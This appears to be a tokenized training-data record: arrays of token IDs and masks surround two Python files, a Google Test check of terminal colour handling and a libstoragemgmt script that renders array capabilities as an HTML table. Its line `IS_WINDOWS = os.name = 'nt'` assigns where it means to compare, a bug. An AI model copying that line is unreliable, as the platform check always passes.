785, 304, 272, 408, 27142, 282, 520, 533, 1705, 807, 64, 17092, 14, 339, 2508, 7445, 447, 378, 14, 21, 339, 520, 4239, 26, 272, 408, 272, 485, 2227, 63, 1637, 275, 488, 339, 768, 3744, 272, 347, 687, 1612, 8, 1886, 12, 2883, 12, 574, 29, 403, 304, 267, 1256, 275, 1613, 8, 1886, 12, 843, 2843, 1222, 721, 1886, 9, 267, 1256, 855, 826, 721, 3065, 8, 1612, 12, 11982, 8, 585, 1724, 267, 372, 1256, 339, 347, 636, 5270, 63, 476, 721, 277, 12, 4113, 304, 267, 372, 730, 8, 277, 395, 334, 807, 8, 277, 16945, 339, 347, 485, 1661, 63, 2227, 1744, 8, 277, 304, 267, 372, 291, 14, 4611, 342, 339, 347, 636, 2227, 721, 277, 304, 267, 340, 291, 423, 2227, 63, 1637, 365, 440, 488, 26, 288, 372, 291, 423, 2227, 63, 1637, 267, 4336, 275, 291, 423, 2227, 63, 1637, 275, 2631, 8, 21362, 8, 277, 423, 1661, 63, 2227, 1744, 4059, 267, 372, 4336, 339, 347, 29408, 8, 277, 12, 790, 12, 849, 29, 403, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 1678, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 4560, 8, 277, 12, 790, 12, 849, 29, 403, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 4560, 1053, 8, 277, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 636, 13228, 721, 277, 12, 790, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 5436, 8, 277, 304, 267, 365, 63, 17836, 8, 277, 9, 421, 199, 533, 25609, 21365, 4256, 8, 29174, 2141, 4256, 304, 272, 408, 27142, 282, 520, 533, 1705, 21365, 64, 17092, 14, 339, 2508, 7445, 447, 378, 14, 21, 339, 520, 4239, 26, 272, 408, 339, 347, 636, 5270, 63, 476, 721, 277, 12, 4113, 304, 267, 372, 730, 8, 277, 395, 334, 277, 14, 1744, 8, 3029, 29, 549, 16945, 339, 347, 485, 1661, 63, 2227, 1744, 8, 277, 304, 267, 372, 291, 14, 4611, 8, 3029, 29, 549, 9, 339, 347, 1050, 8, 277, 12, 790, 12, 574, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 4560, 1053, 513, 8, 277, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 4560, 513, 8, 277, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
zbsz/micro-protobuf
gtest/test/gtest_color_test.py
3259
4911
#!/usr/bin/env python # # Copyright 2008, Google Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """Verifies that Google Test correctly determines whether to use colors.""" __author__ = 'wan@google.com (Zhanyong Wan)' import os import gtest_test_utils IS_WINDOWS = os.name = 'nt' COLOR_ENV_VAR = 'GTEST_COLOR' COLOR_FLAG = 'gtest_color' COMMAND = gtest_test_utils.GetTestExecutablePath('gtest_color_test_') def SetEnvVar(env_var, value): """Sets the env variable to 'value'; unsets it when 'value' is None.""" if value is not None: os.environ[env_var] = value elif env_var in os.environ: del os.environ[env_var] def UsesColor(term, color_env_var, color_flag): """Runs gtest_color_test_ and returns its exit code.""" SetEnvVar('TERM', term) SetEnvVar(COLOR_ENV_VAR, color_env_var) if color_flag is None: args = [] else: args = ['--%s=%s' % (COLOR_FLAG, color_flag)] p = gtest_test_utils.Subprocess([COMMAND] + args) return not p.exited or p.exit_code class GTestColorTest(gtest_test_utils.TestCase): def testNoEnvVarNoFlag(self): """Tests the case when there's neither GTEST_COLOR nor --gtest_color.""" if not IS_WINDOWS: self.assert_(not UsesColor('dumb', None, None)) self.assert_(not UsesColor('emacs', None, None)) self.assert_(not UsesColor('xterm-mono', None, None)) self.assert_(not UsesColor('unknown', None, None)) self.assert_(not UsesColor(None, None, None)) self.assert_(UsesColor('linux', None, None)) self.assert_(UsesColor('cygwin', None, None)) self.assert_(UsesColor('xterm', None, None)) self.assert_(UsesColor('xterm-color', None, None)) self.assert_(UsesColor('xterm-256color', None, None)) def testFlagOnly(self): """Tests the case when there's --gtest_color but not GTEST_COLOR.""" self.assert_(not UsesColor('dumb', None, 'no')) self.assert_(not UsesColor('xterm-color', None, 'no')) if not IS_WINDOWS: self.assert_(not UsesColor('emacs', None, 'auto')) self.assert_(UsesColor('xterm', None, 'auto')) self.assert_(UsesColor('dumb', None, 'yes')) self.assert_(UsesColor('xterm', None, 'yes')) def testEnvVarOnly(self): """Tests the case when there's GTEST_COLOR but not --gtest_color.""" self.assert_(not UsesColor('dumb', 'no', None)) self.assert_(not UsesColor('xterm-color', 'no', None)) if not IS_WINDOWS: self.assert_(not UsesColor('dumb', 'auto', None)) self.assert_(UsesColor('xterm-color', 'auto', None)) self.assert_(UsesColor('dumb', 'yes', None)) self.assert_(UsesColor('xterm-color', 'yes', None)) def testEnvVarAndFlag(self): """Tests the case when there are both GTEST_COLOR and --gtest_color.""" self.assert_(not UsesColor('xterm-color', 'no', 'no')) self.assert_(UsesColor('dumb', 'no', 'yes')) self.assert_(UsesColor('xterm-color', 'no', 'auto')) def testAliasesOfYesAndNo(self): """Tests using aliases in specifying --gtest_color.""" self.assert_(UsesColor('dumb', None, 'true')) self.assert_(UsesColor('dumb', None, 'YES')) self.assert_(UsesColor('dumb', None, 'T')) self.assert_(UsesColor('dumb', None, '1')) self.assert_(not UsesColor('xterm', None, 'f')) self.assert_(not UsesColor('xterm', None, 'false')) self.assert_(not UsesColor('xterm', None, '0')) self.assert_(not UsesColor('xterm', None, 'unknown')) if __name__ == '__main__': gtest_test_utils.Main()
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 9079, 12, 4475, 3277, 14, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 624, 21168, 626, 4475, 1379, 6657, 16756, 3775, 370, 675, 9229, 1041, 199, 199, 363, 2502, 363, 275, 283, 20444, 32, 3098, 14, 957, 334, 12674, 1629, 951, 644, 290, 3171, 199, 199, 646, 747, 199, 646, 9088, 63, 396, 63, 1208, 421, 199, 1311, 63, 20509, 275, 747, 14, 354, 275, 283, 343, 7, 199, 199, 7134, 63, 9984, 63, 5568, 275, 283, 16151, 63, 7134, 7, 199, 7134, 63, 3719, 275, 283, 8385, 63, 2326, 7, 199, 10761, 275, 9088, 63, 396, 63, 1208, 14, 28967, 27602, 360, 8385, 63, 2326, 63, 396, 15452, 421, 199, 318, 30306, 8, 1813, 63, 1391, 12, 574, 304, 523, 408, 9899, 314, 2589, 1750, 370, 283, 585, 13619, 625, 2193, 652, 1380, 283, 585, 7, 365, 488, 1041, 819, 340, 574, 365, 440, 488, 26, 272, 747, 14, 2314, 59, 1813, 63, 1391, 61, 275, 574, 523, 916, 2589, 63, 1391, 315, 747, 14, 2314, 26, 272, 2150, 747, 14, 2314, 59, 1813, 63, 1391, 61, 421, 199, 318, 14911, 4117, 8, 5125, 12, 3164, 63, 1813, 63, 1391, 12, 3164, 63, 4173, 304, 523, 408, 16291, 9088, 63, 2326, 63, 396, 63, 436, 2529, 2399, 4458, 1233, 1041, 819, 30306, 360, 16718, 297, 6707, 9, 523, 30306, 8, 7134, 63, 9984, 63, 5568, 12, 3164, 63, 1813, 63, 1391, 9, 819, 340, 3164, 63, 4173, 365, 488, 26, 272, 1249, 275, 942, 523, 587, 26, 272, 1249, 275, 14574, 5, 83, 2458, 83, 7, 450, 334, 7134, 63, 3719, 12, 3164, 63, 4173, 1874, 523, 299, 275, 9088, 63, 396, 63, 1208, 14, 22299, 779, 10761, 61, 435, 1249, 9, 523, 372, 440, 299, 14, 32290, 503, 299, 14, 2224, 63, 600, 421, 199, 533, 598, 774, 4117, 774, 8, 8385, 63, 396, 63, 1208, 14, 1746, 304, 523, 347, 511, 1944, 19342, 1944, 5318, 8, 277, 304, 272, 408, 2925, 314, 1930, 1380, 2337, 1159, 15564, 18652, 63, 7134, 6590, 1553, 8385, 63, 2326, 1041, 339, 340, 440, 2281, 63, 20509, 26, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 29271, 297, 488, 12, 488, 430, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 69, 19309, 297, 488, 12, 488, 430, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 31896, 13, 19758, 297, 488, 12, 488, 430, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 5187, 297, 488, 12, 488, 430, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 8, 403, 12, 488, 12, 488, 430, 272, 291, 14, 479, 2531, 21896, 4117, 360, 5135, 297, 488, 12, 488, 430, 272, 291, 14, 479, 2531, 21896, 4117, 360, 16680, 297, 488, 12, 488, 430, 272, 291, 14, 479, 2531, 21896, 4117, 360, 31896, 297, 488, 12, 488, 430, 272, 291, 14, 479, 2531, 21896, 4117, 360, 31896, 13, 2326, 297, 488, 12, 488, 430, 272, 291, 14, 479, 2531, 21896, 4117, 360, 31896, 13, 3912, 2326, 297, 488, 12, 488, 430, 819, 347, 511, 5318, 5903, 8, 277, 304, 272, 408, 2925, 314, 1930, 1380, 2337, 1159, 1553, 8385, 63, 2326, 1325, 440, 18652, 63, 7134, 1041, 339, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 29271, 297, 488, 12, 283, 889, 1333, 272, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 31896, 13, 2326, 297, 488, 12, 283, 889, 1333, 272, 340, 440, 2281, 63, 20509, 26, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 69, 19309, 297, 488, 12, 283, 2495, 1333, 272, 291, 14, 479, 2531, 21896, 4117, 360, 31896, 297, 488, 12, 283, 2495, 1333, 272, 291, 14, 479, 2531, 21896, 4117, 360, 29271, 297, 488, 12, 283, 5066, 1333, 272, 291, 14, 479, 2531, 21896, 4117, 360, 31896, 297, 488, 12, 283, 5066, 1333, 819, 347, 511, 19342, 5903, 8, 277, 304, 272, 408, 2925, 314, 1930, 1380, 2337, 1159, 18652, 63, 7134, 1325, 440, 1553, 8385, 63, 2326, 1041, 339, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 29271, 297, 283, 889, 297, 488, 430, 272, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 31896, 13, 2326, 297, 283, 889, 297, 488, 430, 272, 340, 440, 2281, 63, 20509, 26, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 29271 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 9079, 12, 4475, 3277, 14, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 624, 21168, 626, 4475, 1379, 6657, 16756, 3775, 370, 675, 9229, 1041, 199, 199, 363, 2502, 363, 275, 283, 20444, 32, 3098, 14, 957, 334, 12674, 1629, 951, 644, 290, 3171, 199, 199, 646, 747, 199, 646, 9088, 63, 396, 63, 1208, 421, 199, 1311, 63, 20509, 275, 747, 14, 354, 275, 283, 343, 7, 199, 199, 7134, 63, 9984, 63, 5568, 275, 283, 16151, 63, 7134, 7, 199, 7134, 63, 3719, 275, 283, 8385, 63, 2326, 7, 199, 10761, 275, 9088, 63, 396, 63, 1208, 14, 28967, 27602, 360, 8385, 63, 2326, 63, 396, 15452, 421, 199, 318, 30306, 8, 1813, 63, 1391, 12, 574, 304, 523, 408, 9899, 314, 2589, 1750, 370, 283, 585, 13619, 625, 2193, 652, 1380, 283, 585, 7, 365, 488, 1041, 819, 340, 574, 365, 440, 488, 26, 272, 747, 14, 2314, 59, 1813, 63, 1391, 61, 275, 574, 523, 916, 2589, 63, 1391, 315, 747, 14, 2314, 26, 272, 2150, 747, 14, 2314, 59, 1813, 63, 1391, 61, 421, 199, 318, 14911, 4117, 8, 5125, 12, 3164, 63, 1813, 63, 1391, 12, 3164, 63, 4173, 304, 523, 408, 16291, 9088, 63, 2326, 63, 396, 63, 436, 2529, 2399, 4458, 1233, 1041, 819, 30306, 360, 16718, 297, 6707, 9, 523, 30306, 8, 7134, 63, 9984, 63, 5568, 12, 3164, 63, 1813, 63, 1391, 9, 819, 340, 3164, 63, 4173, 365, 488, 26, 272, 1249, 275, 942, 523, 587, 26, 272, 1249, 275, 14574, 5, 83, 2458, 83, 7, 450, 334, 7134, 63, 3719, 12, 3164, 63, 4173, 1874, 523, 299, 275, 9088, 63, 396, 63, 1208, 14, 22299, 779, 10761, 61, 435, 1249, 9, 523, 372, 440, 299, 14, 32290, 503, 299, 14, 2224, 63, 600, 421, 199, 533, 598, 774, 4117, 774, 8, 8385, 63, 396, 63, 1208, 14, 1746, 304, 523, 347, 511, 1944, 19342, 1944, 5318, 8, 277, 304, 272, 408, 2925, 314, 1930, 1380, 2337, 1159, 15564, 18652, 63, 7134, 6590, 1553, 8385, 63, 2326, 1041, 339, 340, 440, 2281, 63, 20509, 26, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 29271, 297, 488, 12, 488, 430, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 69, 19309, 297, 488, 12, 488, 430, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 31896, 13, 19758, 297, 488, 12, 488, 430, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 5187, 297, 488, 12, 488, 430, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 8, 403, 12, 488, 12, 488, 430, 272, 291, 14, 479, 2531, 21896, 4117, 360, 5135, 297, 488, 12, 488, 430, 272, 291, 14, 479, 2531, 21896, 4117, 360, 16680, 297, 488, 12, 488, 430, 272, 291, 14, 479, 2531, 21896, 4117, 360, 31896, 297, 488, 12, 488, 430, 272, 291, 14, 479, 2531, 21896, 4117, 360, 31896, 13, 2326, 297, 488, 12, 488, 430, 272, 291, 14, 479, 2531, 21896, 4117, 360, 31896, 13, 3912, 2326, 297, 488, 12, 488, 430, 819, 347, 511, 5318, 5903, 8, 277, 304, 272, 408, 2925, 314, 1930, 1380, 2337, 1159, 1553, 8385, 63, 2326, 1325, 440, 18652, 63, 7134, 1041, 339, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 29271, 297, 488, 12, 283, 889, 1333, 272, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 31896, 13, 2326, 297, 488, 12, 283, 889, 1333, 272, 340, 440, 2281, 63, 20509, 26, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 69, 19309, 297, 488, 12, 283, 2495, 1333, 272, 291, 14, 479, 2531, 21896, 4117, 360, 31896, 297, 488, 12, 283, 2495, 1333, 272, 291, 14, 479, 2531, 21896, 4117, 360, 29271, 297, 488, 12, 283, 5066, 1333, 272, 291, 14, 479, 2531, 21896, 4117, 360, 31896, 297, 488, 12, 283, 5066, 1333, 819, 347, 511, 19342, 5903, 8, 277, 304, 272, 408, 2925, 314, 1930, 1380, 2337, 1159, 18652, 63, 7134, 1325, 440, 1553, 8385, 63, 2326, 1041, 339, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 29271, 297, 283, 889, 297, 488, 430, 272, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 31896, 13, 2326, 297, 283, 889, 297, 488, 430, 272, 340, 440, 2281, 63, 20509, 26, 489, 291, 14, 479, 2531, 1397, 14911, 4117, 360, 29271, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
lazy404/libstoragemgmt
tools/utility/web_cap.py
3
3549
#!/usr/bin/env python2 # Copyright (C) 2011-2013 Red Hat, Inc. # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; If not, see <http://www.gnu.org/licenses/>. # # This is a file that simply outputs html to std out which can then # be redirected to a file to be used on the project web site for supported # array features. import sys import os.path def process_file(cap_file): h = open(cap_file, 'r') data = h.readlines() d = {} for l in data: (k, v) = l[0:-1].split(":") if v == "SUPPORTED": d[k] = True else: d[k] = False return os.path.basename(cap_file), d def create_html(data): print \ ''' <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>Array support</title> <script type='text/javascript' src='https://www.google.com/jsapi'></script> <script type='text/javascript'> google.load('visualization', '1', {packages:['table']}); google.setOnLoadCallback(drawTable); function drawTable() { var data = new google.visualization.DataTable(); ''' array_vendors = [x for x, v in data] cap_keys = data[0][1].keys() cap_keys.sort() print '''data.addColumn('string', 'Capability/Feature');''' #Create vendor columns for a in array_vendors: print "data.addColumn('boolean', '" + a + "');" #Create plugin column print "data.addRows([" #Output the rows for c in cap_keys: line = "['%s'" % c for v, d in data: line += ",%s" % str(d[c]).lower() line += "]," print line print "]);" print \ ''' var table = new google.visualization.Table(document.getElementById('table_div')); table.draw(data, {showRowNumber: false}); } </script> </head> <body> <h2>Supported API calls for each plug-in </h2> <h3>Notes</h3> <ul> <li> This data is generated from querying the capabilities of the plug-in. <li> Plug-in must pass rudimentary tests for each advertised feature to be included here. <li> At this time all plug-ins listed are included in the install packages as they are all open source. <li> Columns are sort-able, click header to sort. </ul> <div id='table_div'></div> </body> </html> ''' if __name__ == '__main__': arrays = [] if len(sys.argv) < 2: print 'syntax: web_cap.py <array_cap_1.txt> <array_cap_N.txt>\n\n' print 'HOWTO: \n' \ '1. Take the output of lsmcli --capabilities <system>\n' \ '2. Dump to a file for 1 or more arrays. \n' \ '3. Then supply each file name on the command line for this \n' \ ' utility and the html output will be dumped to STDOUT\n\n' print 'Note: The file name is used as the column header for output.' for f in sys.argv[1:]: arrays.append(process_file(f)) if len(arrays): create_html(arrays)
lgpl-2.1
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 18, 199, 199, 3, 1898, 334, 35, 9, 7760, 13, 6965, 9572, 13002, 12, 3277, 14, 199, 3, 961, 3555, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 199, 3, 1015, 499, 14, 17, 402, 314, 844, 12, 503, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 3555, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 3180, 543, 642, 3555, 27, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 199, 3, 961, 365, 282, 570, 626, 9329, 4704, 3517, 370, 2418, 734, 1314, 883, 2066, 199, 3, 506, 20884, 370, 282, 570, 370, 506, 1202, 641, 314, 2199, 3330, 4770, 367, 3748, 199, 3, 1625, 4534, 14, 199, 199, 646, 984, 199, 646, 747, 14, 515, 421, 199, 318, 2112, 63, 493, 8, 2874, 63, 493, 304, 272, 394, 275, 1551, 8, 2874, 63, 493, 12, 283, 82, 358, 272, 666, 275, 394, 14, 9684, 342, 272, 366, 275, 1052, 339, 367, 634, 315, 666, 26, 267, 334, 75, 12, 373, 9, 275, 634, 59, 16, 6809, 17, 1055, 1294, 20063, 267, 340, 373, 508, 298, 15925, 582, 288, 366, 59, 75, 61, 275, 715, 267, 587, 26, 288, 366, 59, 75, 61, 275, 756, 272, 372, 747, 14, 515, 14, 4846, 8, 2874, 